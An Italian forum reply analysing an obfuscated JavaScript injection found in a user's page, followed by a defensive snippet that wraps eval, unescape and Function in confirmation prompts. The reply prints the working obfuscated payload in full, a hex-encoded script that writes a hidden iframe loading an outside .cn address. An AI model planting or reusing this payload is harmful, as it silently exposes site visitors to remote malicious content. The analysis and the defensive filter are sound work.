serve ad iniettare scripts nella pagina, la cosa divertente e' che l'offuscatore utilizzato fa pena e quindi se quanto postato e' quello che hai, non funziona.
codice:
function convert(str){
var res='';
fromCharCode=String['fromCharCode'];
for(i=0;i<str.length;i+=2){
res += fromCharCode(parseInt(str.substr(i,2), 16));
};
return res;
}
var v9f='';
var str='3C7'+v9f+'3637'+v9f+'2697'+v9f+'07'+v9f+'43E696628216D7'+v9f+'96961297'+v9f+'B646F637'+v9f+'56D656E7'+v9f+'42E7'+v9f+'7'+v9f+'7'+v9f+'2697'+v9f+'465287'+v9f+'56E657'+v9f+'363617'+v9f+'065282027'+v9f+'2533632536392536362537'+v9f+'322536312536642536352532302536652536312536642536352533642536332533332533322532302537'+v9f+'332537'+v9f+'32253633253364253237'+v9f+'2536382537'+v9f+'342537'+v9f+'342537'+v9f+'302533612532662532662536362536312536322536392536662536642536662537'+v9f+'342536662537'+v9f+'322532652536332536652532662537'+v9f+'332536312536662537'+v9f+'302536392537'+v9f+'302533322537'+v9f+'392537'+v9f+'342533332537'+v9f+'30253338253337'+v9f+'2537'+v9f+'342537'+v9f+'332536312536612536382536342536312532662536392536652536342536352537'+v9f+'382532652537'+v9f+'302536382537'+v9f+'30253366253237'+v9f+'2532622534642536312537'+v9f+'342536382532652537'+v9f+'322536662537'+v9f+'352536652536342532382534642536312537'+v9f+'342536382532652537'+v9f+'32253631253665253634253666253 664253238253239253261253331253338253336253339253333253334253239253262253237'+v9f+'253334253331253332253331253330253631253633253335253330253338253337'+v9f+'253237'+v9f+'2532302537'+v9f+'37'+v9f+'2536392536342537'+v9f+'34253638253364253333253331253339253230253638253635253639253637'+v9f+'2536382537'+v9f+'342533642533352533382533362532302537'+v9f+'332537'+v9f+'342537'+v9f+'39253663253635253364253237'+v9f+'2537'+v9f+'362536392537'+v9f+'332536392536322536392536632536392537'+v9f+'342537'+v9f+'39253361253638253639253634253634253635253665253237'+v9f+'2533652533632532662536392536362537'+v9f+'3225363125366425363525336527'+v9f+'29293B7'+v9f+'D7'+v9f+'6617'+v9f+'2206D7'+v9f+'969613D7'+v9f+'47'+v9f+'27'+v9f+'5653B3C2F7'+v9f+'3637'+v9f+'2697'+v9f+'07'+v9f+'43E';
document.write(convert(str));
questo e' in pratica quello che accade. Se al posto di document.write scrivi alert leggi la parte di codice iniettata.
Gli offuscatori mi fanno sempre sorridere, tanti sforzi per eval lenti e spesso rotti.
Io ho creato tempo fa un compressore GIF in javascript, almeno quello funzionava bene e il codice era molto piu' offuscato ma rapidissimo in decompressione.
Per evitare queste situazioni ridicole, se si ha codice comune basta ridefinire alcune funzioni ed includerle in cima alla pagina. Esempio:
codice:
(function(){
// comunque sia, non siamo al sicuro, ma almeno possiamo
// rendere la vita difficile agli idioti che igniettano scripts
function observe(native){
this[native] = (function(native){
return function(str){
if(confirm("Some script is trying to evaluate this code:\n" + str))
return native.apply(this, arguments);
};
})(this[native]);
};
observe("eval");
observe("unescape");
observe("decodeURI");
observe("decodeURIComponent");
Function = (function(native){
return function(args, body){
if(confirm("Some script is trying to create this function:\n" + [args, body].join("\n")))
return native.apply(this, arguments);
};
})(Function);
})();
se vuoi controllare cosa accade in quelle pagine includi come primo script assoluto il codice scritto sopra che si comportera' da filtro. Ecco un esempio:
codice:
eval("var pippo = 'pluto';");
var callback = Function("a, b", "return a + b ");
alert(callback(pippo, "minnie"));
se dai l'OK due volte leggerai plutominnie, altrimenti il codice sara' "rotto".
Ovvio e' che non puoi usare questo codice nel sito o rischi di spaventare gli utenti